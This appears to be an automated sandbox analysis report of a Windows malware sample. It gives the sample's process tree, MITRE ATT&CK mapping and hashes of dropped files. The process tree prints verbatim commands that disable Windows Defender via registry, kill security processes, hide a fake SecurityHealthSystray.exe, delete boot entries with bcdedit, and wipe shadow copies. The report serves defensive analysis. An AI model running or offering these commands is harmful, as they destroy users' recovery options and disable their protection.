    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4896,i,6858295941011167669,3880708291290269043,524288 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:14
    3⤵
    PID:1372
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5484,i,15596079017290615156,15916680566573078110,524288 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:12
    3⤵
    PID:3348
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5704,i,8245371475402667118,12829883659204362482,2097152 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:1
    3⤵
    PID:2148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,7506493078098860338,13542017855257304194,524288 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:14
    3⤵
    PID:3148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,954534247979422947,8801343564582649346,524288 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:14
    3⤵
    PID:4196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4824,i,17676108206722243402,2154659102915388176,524288 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=4348 /prefetch:14
    3⤵
    PID:2064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4900,i,17348511937249718640,9358531472365013606,524288 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=5076 /prefetch:14
    3⤵
    PID:6064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4892,i,8426870098469785340,7045661602526842411,524288 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=5064 /prefetch:14
    3⤵
    PID:3920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
  2⤵
  PID:2812
- - C:\Windows\system32\reg.exe
    REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
    3⤵
    - Modifies registry key
    PID:3884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:3316
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:4496
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:3576
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:4612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67_final.html
  2⤵
  PID:2728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  PID:3248
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    PID:5172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  PID:5192
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    PID:5468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5492
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:5756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5816
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:5500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:5856
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:1316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:5296
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:5668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5324
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:5400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:5668
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:3724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:5600
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:5700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5320
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:5148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:4468

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1880

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004C8 0x00000000000004B8
1⤵
PID:2272

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1316

C:\Windows\explorer.exe
explorer.exe ,"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
1⤵
PID:960

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
PID:4688
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:3976
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4920
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  PID:5224
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  PID:5564
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:5876
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:5804
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:5664
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:5336
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:2036
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:4824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:5496
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:5356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:5640
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:5056

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:4636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 89ab71a3a4e732da8cbbe2e13ba149e13c94226b7119c8a0598106b99907544f
MD5 ca938be236bc251b79a4ee9dbf06dd19
SHA1 2ed95a78846a95a90b8d9b70e9cdc6188f0ce608
SHA512 caf4662a529a373a26b513e285938286f3af46a8729fb4c0be324b084fdba1e10dacca4b8f67585c4a5c6683f45dc7e259548eaf3ffb985905aeefbb7225e0e7
TLSH
T124D0C073050D0000EE0D41312073C7050313BB210E017D03B855F8380D708C9438F1C0
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 dcfc4c476f41db2d6042449b7b855b9751140e2127be8e8208aafd46a5893b7d
MD5 08e448ed3ad1512fa216c2eea50fff9a
SHA1 2d684e6af180cff0b8adea283dbb0c009102fc3e
SHA512 f9ebe4d980c84e665fbd9643a31fbc7a6b08028d289cd54ea7400acc1d6a7d231dd7952c9c49775207225efebf00cdaaf6a2b295dbeac8f234ed7bdfa52c4693
TLSH
T122D0C073050D0000EA0D41312073C7050313BB210E013C03B855F8381D708C9438F1C0
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 89db16865a5301162dff942e05613b5657e284d208412a6e23e3b414ea2e79e5
MD5 7433dd1b3ddf37beb81fede4a0c90f1e
SHA1 0a334127f4a885d43ea8c8996f497146d3168f00
SHA512 81ab5096fcb38805105fe3920f627ba70bb264134718fc5bad2a54f1daf55cf0c723826ca9eb32246443aa4eaaedb1f5a7ea98e6235240ddac941988c385f216
TLSH
T17661EA9E02A74AA3E36205B3B0F152B5707071AB063F0F5E46C8A4FBD729766D077918
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58b6a9.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58b6a9.TMP
Size 3KB
SHA256 06807cb7033168293fcbdbcb6ed4c39831698127f14f70677bc432909277dddc
MD5 da5b6a331204c94b0877ed0d48a120f3
SHA1 156be033ea5a7f02760bdc6dbb650383249ead78
SHA512 a02e349374609fa717858a8d0ab5bb81274f2895df890bb0ce93f22c83394ff40b4c17b3b710b1c67af0de9afbb5fad1540d31e2b1caac73c675a6ce3ac232b1
TLSH
T17F61EA9E02A74AA3E36205B3B0F152B2707071AB463F0F5E46C8A4F7D729766D177518
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 5f953aeb0047c7a89d7d315c2345b3d3826d76b92704ad38904b09bb749e50b4
MD5 914c3ecf146c2f76c6c3bbaa6095da7d
SHA1 f8549244ce591fc0d6aa0ed8a527b01c9f159fbc
SHA512 404ca5d697d30b74307125c01cad3015dc4c927ba91050d1d30ab84b61965532f9a4fa2f9644ffcdd09807c6c1f99251f203da69c08c343d8df605e00ad0ca8a
SSDEEP 192:zZ9R/yM/jK1Ml8McB/fqscoNEdpy2/W6+WNGS701khbhIgyJ:zZ9d0B/fqscomx/bGfGfO
TLSH
T1BD42E912AB346977CCDBD209F951BF53D6F91573D2900E44AAFC9A1C00E6AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 bcbc80172ccc8b4e18c1a13d80364dcc696f9efa744de67bc3d7e76a38ecd3a2
MD5 97a9e17ebcb092434c446448b4e8f10d
SHA1 fd6b59286320915d456763d03880b26f16d0eea6
SHA512 d0093ab4d5b3be66a3dfda30379382574a58520cd4da9742f58c91dfd167e06b6362c22a655282e15fe4ffaa0d41cbfc63abdba4d3babd217bc244d9f6ee2b75
SSDEEP 192:zZ5R/yM/jK1Ml8M2B/fqsuLNEdpy2/W6+WNGS701kIbhIg5WJ:zZ5deB/fqsuLmx/bGfGUM
TLSH
T15D42E912AB345977CCDBD209FA51BB53D6F95573D2900E44AAFC8B1C01E6AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 36cb82fa80d38617a1ea946099919d559c12183953bebcac81d48492d0f9d2bd
MD5 18f3b7a25434efdb5ef3cb246df11a8e
SHA1 76f07f1b9e5a6535a10fb0696f9258d12f954e2b
SHA512 9001942559575c0e33945240c920182c0e210153ffe0717dd7bac136b8317cb7c682cf95a5e962125de171e7599194016b208dcb4a90a9aac8f03f17cf5d6bea
SSDEEP 192:zZ5R/yM/jK1Ml8MFB/fqsuoNEdpy2/W6+WNGS701kEbhIg5WJ:zZ5ddB/fqsuomx/bGfGwM
TLSH
T12B42E912AB346977CCDBD209F951BF53D6F90573D2900E44AAFC8A1C01E6AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 31KB
SHA256 5e257bdfed1c7c93d179d0966668598579a19064316c5d4362188bf1a5420150
MD5 e9b91f5653273f12ccee933e6e5101b7
SHA1 f562eedc078d03e62d475731daf464169e827ebb
SHA512 3c81a5559b8dd93bafc0d7d1a34e8698dde20cb4e66a3086261e27ef3bc1994c29624f20c094a2147cadbfb5612500db2391c738d2aff942ad2440f147deb53f
SSDEEP 768:0h4bSV4b+8b4bm2c4bRWRmG4b/QB4bH8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3S4i:0Ku+68si2D1WRmlzQqju1jaKhILpZ8Un
TLSH
T12BE22A3B280CCB7E4F840E5CEC26AF966ED802DB66684D5447FE494C03C77EB511A59B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 c6eb32266a4b878385d081fac578cbdad2a59075cba0f811fa8ca221ce2d57ef
MD5 e8a270067f13a2395954d1fa3692b7fc
SHA1 81b1009cda5e2f412e520b8777fb31d047596f74
SHA512 15e763a4305617779d68c684a2ab71a040f78899c32808896de88516a3d72488f82a96f128ba76425b4f7087dfe691c23b751933165f3fd79e5f7023e7ba956a
SSDEEP 192:nRGNn6yMQmiUyHJmp1Y3b+jcWO6oMMn0DPU6:RGNn6xo+1Y3b+AWO1L07U6
TLSH
T14502D735AD786C779FE26E45B88727138FE8117BD9942F80E6E82B1C00D765C230B926
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 d25ed6be69ea3062d39e2c3bbf3c1ee6800cebf364405bec31f3fad6fa3dd963
MD5 22fc0dd23629670aa45362a1f0bfc63e
SHA1 7a0c9acc0a4b217be9eec12b5febb69532ef6498
SHA512 1ecdf88cb9e92841395a59bbb9623de0bfcb68ee5407940d6a9e9c00f6da59eed74b53230429c5b529fcb8b0c6a7c8c2afbeba82a2c0869f2438f3bfcc671bf4
SSDEEP 192:zdY/8NJnQid7r3kFQmiU1sTotZr3b+jcWO6oFjKh4h0P/+Oh1LqySaC:z08NJnRvUj/zr3b+AWO1FjKa0t1XA
TLSH
T17C421971ACB9AC331DEB6545F94636638FBC10B7D9C82F84D9D86B0D04D725C274B816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 c81a2fd0f72cf598c716b22288b66c131fe2458374a81ecf1dcce829194f448b
MD5 e8fee31b1c918967b1ea745e4c40e8bc
SHA1 3f6669dac641dd84f439ca0733e54696392a0229
SHA512 3eef8c63fd94ac183c83a91783371dc912f744c3fc13eccc325b012d0aa64a56786c403baea1b37634e4b9ad04edfed825ead4ed8c52cf15831fdac1477b7454
SSDEEP 192:zdYrn8NJtQid7r3MQmiU1swoD8Ur3b+jcWO6oFjKh4h0P/+Oh1LqySaZ:zi8NJtRvM2DHr3b+AWO1FjKa0t1Xr
TLSH
T10B422971ACB9AC331DEB6645F54A36638FBC10B7D9C82F84E9D86F0D05D625C270B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 9c2cc29ffa97507981c2a8f01290e0827fafd057a94be93e151799ce56d25931
MD5 5ec05cd5ee6eeb070ecdc46d4f841881
SHA1 9f7cd3cc70564bfed4487906f6496fb478216f69
SHA512 0bd27e6de6331e8ed60edfce3a44ff1b9d71a9c72b4e921ecad365ae2623fc3fdc7f3dfd25711ac4e5459b3c3e11936fb5d904a635d94c2521b52da916e04d47
SSDEEP 192:zdYrF8NJtQid7r3NQmiU1swoD8Ur3b+jcWO6oFjKD4h0P/+Oh1LqySaZ:z+8NJtRv72DHr3b+AWO1FjKw0t1Xr
TLSH
T157422971ACB9AC331DE76605F54A36638FBC10B7D9C82F84E9D86F0D05D625C270B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 10466fd63a51c31129e3bfa5c3aa09f832882a49edc639c287432a521d92d0d2
MD5 1b9d01e79793825c428b1d76cb34b350
SHA1 368440a220c0f3fd350bb16e8419d8655d837680
SHA512 649d049a32df7fdef744ff4bc77b1f116b118f6fafe60f607a8d282724d85793b4ae116b7efe088d6a4a20b5b6f16a90043af8f4a4df9927bd7d28c33354bd66
SSDEEP 192:nRGN86yaQmiUyd0p+Y3b+jcWO6oFjKC4M0P/+Oh1U6:RGN86Hv+Y3b+AWO1FjKy0t1U6
TLSH
T1BB120831A979AC731EE66945F88732938FA810B7ED846F80E5D86B1C08DB75C270F917
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d8d5fd95-68b6-41cb-bc19-558939ce33b3.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\d8d5fd95-68b6-41cb-bc19-558939ce33b3.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

67_image.png

Path C:\Users\Admin\AppData\Local\Temp\67_image.png
Size 61KB
SHA256 935523d2c725f08a8fa40e7e3d7c05c789615c5cecadbf5890bbe5aebfd76e0a
MD5 2bbfad51ccdf2fbaad4f55a34cf7cdf9
SHA1 74605e5b0182602dd19bc50f5b16d2088c3f59f7
SHA512 e1a459366aa80512988f1917a2cf592763b2fdcef4f3f46879d9fb7b369da4a5c84d541b93588d64416e83d5dfee7acb62481c9ec410fd6499490ea1d30ae21c
SSDEEP 768:Segnat/xgCL/qkrfnPpKIzJQh0HaYDeSQMHVHECdYG/4jQN4r9rZEmyDwdWtusgV:+iZNnPpTd86jH+L37E5wdW+hn
TLSH
T12C53F18DD00DA0CAD273ADF06BB1539F18917864173FBA5D28BF5659339817203BFA26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

music67.html

Path C:\Users\Admin\AppData\Local\Temp\music67.html
Size 804B
SHA256 a8563e153115f222e32c66c23b676fee29703389e6116e13f1997f6f02533592
MD5 4fe60278cc219422ac2ab680cfb1e4c7
SHA1 14cdd6721bec029bf4e83df37a92f12a4cb0be25
SHA512 49622692dcf1e066333f8423a1e9b80824a42102753e559bd406bc0719ee854c6cd3ca8463a23ad54e1d26555874c00f6d04a3b490ff02121da64e1aa68636c3
TLSH
T1C70189137025BC81C6B2B77237B36088657BB3121A825780B452C2A31F23A85AD59ECC
